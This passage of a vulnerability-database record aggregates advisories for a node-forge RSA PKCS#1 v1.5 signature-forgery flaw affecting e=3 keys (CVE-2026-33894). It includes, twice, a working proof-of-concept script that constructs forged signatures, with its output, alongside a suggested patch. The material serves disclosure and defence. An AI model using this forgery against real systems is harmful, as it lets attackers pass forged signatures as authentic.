=\u003e default RSASSA-PKCS1-v1_5\n    // - options._parseAllDigestBytes: require DER parser to consume all bytes\n    //   (this is forge's default for verify; set explicitly here for clarity)\n    return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };\n  } catch (err) {\n    return { ok: false, err: err.message };\n  }\n}\n\nfunction main() {\n  const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {\n    modulusLength: 4096,\n    publicExponent: 3,\n    privateKeyEncoding: { type: 'pkcs1', format: 'pem' },\n    publicKeyEncoding: { type: 'pkcs1', format: 'pem' }\n  });\n\n  const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });\n  const nBytes = Buffer.from(jwk.n, 'base64url');\n  const n = toBig(nBytes);\n  const e = toBig(Buffer.from(jwk.e, 'base64url'));\n  if (e !== 3n) throw new Error('expected e=3');\n\n  const msg = Buffer.from('forged-message-0', 'utf8');\n  const digest = crypto.createHash('sha256').update(msg).digest();\n  const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);\n\n  // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.\n  const k = nBytes.length;\n  // ffCount can be set to any value at or below 111 and produce a valid signature.\n  // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.\n  // However, current versions of node forge do not check for this.\n  // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.\n  const ffCount = 0; \n  // `garbageLen` affects DER length field sizes, which in turn affect how\n  // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.\n  // A small cap (8) is enough here: DER length-size transitions are discrete\n  // and few (\u003c128, \u003c=255, \u003c=65535, ...), so this stabilizes quickly.\n  let garbageLen = 0;\n  for (let i = 0; i \u003c 8; i += 1) {\n    const gLenEnc = derLen(garbageLen).length;\n    const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;\n    const seqLenEnc = derLen(seqLen).length;\n    const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;\n    const next = k - fixed;\n    if (next === garbageLen) break;\n    garbageLen = next;\n  }\n  const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;\n  const prefix = Buffer.concat([\n    Buffer.from([0x00, 0x01]),\n    Buffer.alloc(ffCount, 0xff),\n    Buffer.from([0x00]),\n    Buffer.from([0x30]), derLen(seqLen),\n    algAndDigest,\n    Buffer.from([0x04]), derLen(garbageLen)\n  ]);\n\n  // Build the numeric interval of all EM values that start with `prefix`:\n  // - `low`  = prefix || 00..00\n  // - `high` = one past (prefix || ff..ff)\n  // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.\n  const suffixLen = k - prefix.length;\n  const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));\n  const high = low + (1n \u003c\u003c BigInt(8 * suffixLen));\n  const s = cbrtCeil(low);\n  if (s \u003e cbrtFloor(high - 1n) || s \u003e= n) throw new Error('no candidate in interval');\n\n  const sig = toBuf(s, k);\n\n  const controlMsg = Buffer.from('control-message', 'utf8');\n  const controlSig = crypto.sign('sha256', controlMsg, {\n    key: privateKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  });\n\n  // forge verification calls (library under test)\n  const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);\n  const forgedForge = forgeStrictVerify(publicKey, msg, sig);\n\n  // Node.js verification calls (OpenSSL-backed reference behavior)\n  const controlNode = crypto.verify('sha256', controlMsg, {\n    key: publicKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  }, controlSig);\n  const forgedNode = crypto.verify('sha256', msg, {\n    key: publicKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  }, sig);\n\n  console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');\n  console.log('control-node:', controlNode);\n  console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');\n  console.log('forgery (node/OpenSSL):', forgedNode);\n}\n\nmain();\n```\n\u003c/details\u003e\n\n## Suggested Patch\n- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (`PS \u003e= 8`) in `_decodePkcs1_v1_5` before accepting the block.\n- Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).\n\nHere is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:\n\n```diff\nindex b207a63..ec8a9c1 100644\n--- a/lib/rsa.js\n+++ b/lib/rsa.js\n@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {\n             error.errors = errors;\n             throw error;\n           }\n+\n+          if(obj.value.length != 2) {\n+            var error = new Error(\n+              'DigestInfo ASN.1 object must contain exactly 2 fields for ' +\n+              'a valid RSASSA-PKCS1-v1_5 package.');\n+            error.errors = errors;\n+            throw error;\n+          }\n           // check hash algorithm identifier\n           // see PKCS1-v1-5DigestAlgorithms in RFC 8017\n           // FIXME: add support to validator for strict value choices\n@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {\n       }\n       ++padNum;\n     }\n+\n+    if (padNum \u003c 8) {\n+      throw new Error('Encryption block is invalid.');\n+    }\n   } else if(bt === 0x02) {\n     // look for 0x00 byte\n     padNum = 0;\n```\n## Resources\n- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8\n  - \u003e This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. \n- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html\n- `lib/rsa.js` `key.verify(...)` at lines ~1139-1223.\n- `lib/rsa.js` `_decodePkcs1_v1_5(...)` at lines ~1632-1695.\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.","status":"published","published":"2026-03-26T22:02:35Z","modified":"2026-03-29T21:41:48Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-20","CWE-347"],"updated_at":"2026-11-02T14:39:44.97342Z"}],"nvd":[{"id":"CVE-2026-33894","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.  Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries. Version 1.4.0 patches the issue.","status":"published","published":"2026-03-27T21:17:25.983Z","modified":"2026-10-26T21:10:00.17Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-20","CWE-347"],"updated_at":"2026-11-02T14:12:11.678711Z"}],"osv":[{"id":"CVE-2026-33894","title":"Forge has signature forgery in RSA-PKCS due to ASN.1 extra field","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.  Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries. Version 1.4.0 patches the issue.","status":"published","published":"2026-03-27T20:45:49.583Z","modified":"2026-10-28T02:30:31.98326732Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-20","CWE-347"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"CVE-2026-85393","title":"node-forge through 1.4.0 RSA PKCS#1 v1.5 Signature Forgery via Nested DigestAlgorithm Padding","description":"node-forge through 1.4.0 fails to validate element count in nested DigestAlgorithm sequences during RSA PKCS#1 v1.5 signature verification. Attackers can embed garbage bytes inside the DigestAlgorithm sequence to forge valid signatures for arbitrary messages using low-exponent RSA keys. This is an incomplete fix for CVE-2026-33894.","status":"published","published":"2026-09-03T18:54:25.878Z","modified":"2026-10-28T02:30:56.393189936Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T15:45:18.825071Z"},{"id":"GHSA-86w9-cpqp-85rv","title":"node-forge RSA PKCS#1 v1.5 signature verification accepts extra nested DigestAlgorithm elements","description":"node-forge through 1.4.0 fails to validate element count in nested DigestAlgorithm sequences during RSA PKCS#1 v1.5 signature verification. Attackers can embed garbage bytes inside the DigestAlgorithm sequence to forge valid signatures for arbitrary messages using low-exponent RSA keys. This is an incomplete fix for CVE-2026-33894.","status":"published","published":"2026-09-03T21:31:15Z","modified":"2026-10-01T21:40:55.016251436Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-347"],"updated_at":"2026-11-02T15:46:42.077781Z"},{"id":"GHSA-ppp5-5v6c-4jwp","title":"Forge has signature forgery in RSA-PKCS due to ASN.1 extra field  ","description":"## Summary\nRSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it. \n\nAdditionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries. \n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and recent prior versions.\n\n**Configuration assumptions:**\n- Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5).\n- `_parseAllDigestBytes: true` (default setting).\n\n## Root Cause\n\nIn `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest.\n\nTwo issues are present with this logic:\n\n1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.\n2. `_decodePkcs1_v1_5` comments mention that PS \u003c 8 bytes should be rejected, but does not implement this logic.\n\n## Reproduction Steps\n1. Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n4. Place and run the PoC script (`repro_min.js`) with `node repro_min.js` in the same level as the `forge` folder.\n5. The script generates a fresh RSA keypair (`4096` bits, `e=3`), creates a normal control signature, then computes a forged candidate using cube-root interval construction.\n6. The script verifies both signatures with:\n  - forge verify (`_parseAllDigestBytes: true`), and\n  - Node/OpenSSL verify (`crypto.verify` with `RSA_PKCS1_PADDING`).\n7. Confirm output includes:\n  - `control-forge-strict: true`\n  - `control-node: true`\n  - `forgery (forge library, strict): true`\n  - `forgery (node/OpenSSL): false`\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged signature in one run.\n- Uses strict forge parsing mode explicitly (`_parseAllDigestBytes: true`, also forge default).\n- Uses Node/OpenSSL as an differential verification baseline.\n- Observed output on tested commit:\n\n```text\ncontrol-forge-strict: true\ncontrol-node: true\nforgery (forge library, strict): true\nforgery (node/OpenSSL): false\n```\n\n\u003cdetails\u003e\u003csummary\u003erepro_min.js\u003c/summary\u003e\n\n```javascript\n#!/usr/bin/env node\n'use strict';\n\nconst crypto = require('crypto');\nconst forge = require('./forge/lib/index');\n\n// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:\n// SEQUENCE {\n//   SEQUENCE { OID sha256, NULL },\n//   OCTET STRING \u003c32-byte digest\u003e\n// }\n// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20\nconst DIGESTINFO_SHA256_PREFIX = Buffer.from(\n  '300d060960864801650304020105000420',\n  'hex'\n);\n\nconst toBig = b =\u003e BigInt('0x' + (b.toString('hex') || '0'));\nfunction toBuf(n, len) {\n  let h = n.toString(16);\n  if (h.length % 2) h = '0' + h;\n  const b = Buffer.from(h, 'hex');\n  return b.length \u003c len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;\n}\nfunction cbrtFloor(n) {\n  let lo = 0n;\n  let hi = 1n;\n  while (hi * hi * hi \u003c= n) hi \u003c\u003c= 1n;\n  while (lo + 1n \u003c hi) {\n    const mid = (lo + hi) \u003e\u003e 1n;\n    if (mid * mid * mid \u003c= n) lo = mid;\n    else hi = mid;\n  }\n  return lo;\n}\nconst cbrtCeil = n =\u003e {\n  const f = cbrtFloor(n);\n  return f * f * f === n ? f : f + 1n;\n};\nfunction derLen(len) {\n  if (len \u003c 0x80) return Buffer.from([len]);\n  if (len \u003c= 0xff) return Buffer.from([0x81, len]);\n  return Buffer.from([0x82, (len \u003e\u003e 8) \u0026 0xff, len \u0026 0xff]);\n}\n\nfunction forgeStrictVerify(publicPem, msg, sig) {\n  const key = forge.pki.publicKeyFromPem(publicPem);\n  const md = forge.md.sha256.create();\n  md.update(msg.toString('utf8'), 'utf8');\n  try {\n    // verify(digestBytes, signatureBytes, scheme, options):\n    // - digestBytes: raw SHA-256 digest bytes for `msg`\n    // - signatureBytes: binary-string representation of the candidate signature\n    // - scheme: undefined =\u003e default RSASSA-PKCS1-v1_5\n    // - options._parseAllDigestBytes: require DER parser to consume all bytes\n    //   (this is forge's default for verify; set explicitly here for clarity)\n    return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };\n  } catch (err) {\n    return { ok: false, err: err.message };\n  }\n}\n\nfunction main() {\n  const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {\n    modulusLength: 4096,\n    publicExponent: 3,\n    privateKeyEncoding: { type: 'pkcs1', format: 'pem' },\n    publicKeyEncoding: { type: 'pkcs1', format: 'pem' }\n  });\n\n  const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });\n  const nBytes = Buffer.from(jwk.n, 'base64url');\n  const n = toBig(nBytes);\n  const e = toBig(Buffer.from(jwk.e, 'base64url'));\n  if (e !== 3n) throw new Error('expected e=3');\n\n  const msg = Buffer.from('forged-message-0', 'utf8');\n  const digest = crypto.createHash('sha256').update(msg).digest();\n  const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);\n\n  // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.\n  const k = nBytes.length;\n  // ffCount can be set to any value at or below 111 and produce a valid signature.\n  // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.\n  // However, current versions of node forge do not check for this.\n  // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.\n  const ffCount = 0; \n  // `garbageLen` affects DER length field sizes, which in turn affect how\n  // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.\n  // A small cap (8) is enough here: DER length-size transitions are discrete\n  // and few (\u003c128, \u003c=255, \u003c=65535, ...), so this stabilizes quickly.\n  let garbageLen = 0;\n  for (let i = 0; i \u003c 8; i += 1) {\n    const gLenEnc = derLen(garbageLen).length;\n    const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;\n    const seqLenEnc = derLen(seqLen).length;\n    const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;\n    const next = k - fixed;\n    if (next === garbageLen) break;\n    garbageLen = next;\n  }\n  const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;\n  const prefix = Buffer.concat([\n    Buffer.from([0x00, 0x01]),\n    Buffer.alloc(ffCount, 0xff),\n    Buffer.from([0x00]),\n    Buffer.from([0x30]), derLen(seqLen),\n    algAndDigest,\n    Buffer.from([0x04]), derLen(garbageLen)\n  ]);\n\n  // Build the numeric interval of all EM values that start with `prefix`:\n  // - `low`  = prefix || 00..00\n  // - `high` = one past (prefix || ff..ff)\n  // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.\n  const suffixLen = k - prefix.length;\n  const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));\n  const high = low + (1n \u003c\u003c BigInt(8 * suffixLen));\n  const s = cbrtCeil(low);\n  if (s \u003e cbrtFloor(high - 1n) || s \u003e= n) throw new Error('no candidate in interval');\n\n  const sig = toBuf(s, k);\n\n  const controlMsg = Buffer.from('control-message', 'utf8');\n  const controlSig = crypto.sign('sha256', controlMsg, {\n    key: privateKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  });\n\n  // forge verification calls (library under test)\n  const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);\n  const forgedForge = forgeStrictVerify(publicKey, msg, sig);\n\n  // Node.js verification calls (OpenSSL-backed reference behavior)\n  const controlNode = crypto.verify('sha256', controlMsg, {\n    key: publicKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  }, controlSig);\n  const forgedNode = crypto.verify('sha256', msg, {\n    key: publicKey,\n    padding: crypto.constants.RSA_PKCS1_PADDING\n  }, sig);\n\n  console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');\n  console.log('control-node:', controlNode);\n  console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');\n  console.log('forgery (node/OpenSSL):', forgedNode);\n}\n\nmain();\n```\n\u003c/details\u003e\n\n## Suggested Patch\n- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (`PS \u003e= 8`) in `_decodePkcs1_v1_5` before accepting the block.\n- Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).\n\nHere is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:\n\n```diff\nindex b207a63..ec8a9c1 100644\n--- a/lib/rsa.js\n+++ b/lib/rsa.js\n@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {\n             error.errors = errors;\n             throw error;\n           }\n+\n+          if(obj.value.length != 2) {\n+            var error = new Error(\n+              'DigestInfo ASN.1 object must contain exactly 2 fields for ' +\n+              'a valid RSASSA-PKCS1-v1_5 package.');\n+            error.errors = errors;\n+            throw error;\n+          }\n           // check hash algorithm identifier\n           // see PKCS1-v1-5DigestAlgorithms in RFC 8017\n           // FIXME: add support to validator for strict value choices\n@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {\n       }\n       ++padNum;\n     }\n+\n+    if (padNum \u003c 8) {\n+      throw new Error('Encryption block is invalid.');\n+    }\n   } else if(bt === 0x02) {\n     // look for 0x00 byte\n     padNum = 0;\n```\n## Resources\n- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8\n  - \u003e This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. \n- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html\n- `lib/rsa.js` `key.verify(...)` at lines ~1139-1223.\n- `lib/rsa.js` `_decodePkcs1_v1_5(...)` at lines ~1632-1695.\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.","status":"published","published":"2026-03-26T22:02:35Z","modified":"2026-10-01T21:40:55.016251436Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-20","CWE-347"],"updated_at":"2026-11-02T15:46:53.244788Z"},{"id":"RHSA-2026:24761","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update","status":"published","published":"2026-06-10T10:07:59Z","modified":"2026-10-20T10:06:29Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:19.449341Z"},{"id":"UBUNTU-CVE-2026-33894","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.  Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries. Version 1.4.0 patches the issue.","status":"published","published":"2026-03-27T21:17:00Z","modified":"2026-06-30T18:17:56.290948556Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T16:56:16.036833Z"},{"id":"CLSA-2026-1775176134","title":"TuxCare security update for node-forge (4 CVEs)","description":"TuxCare rebuilt node-forge to address 4 CVEs. Fixed in 0.10.0-tuxcare.6.","status":"published","published":"2026-08-04T14:52:20Z","modified":"2026-10-15T09:45:42.91027174Z","updated_at":"2026-11-02T15:43:44.009773Z"},{"id":"CLSA-2026-1791467333","title":"TuxCare security update for node-forge (3 CVEs)","description":"TuxCare rebuilt node-forge to address 3 CVEs. Fixed in 1.3.3-tuxcare.2.","status":"published","published":"2026-10-08T13:48:53Z","modified":"2026-10-15T09:47:39.669670729Z","updated_at":"2026-11-02T15:43:49.016976Z"}]}}
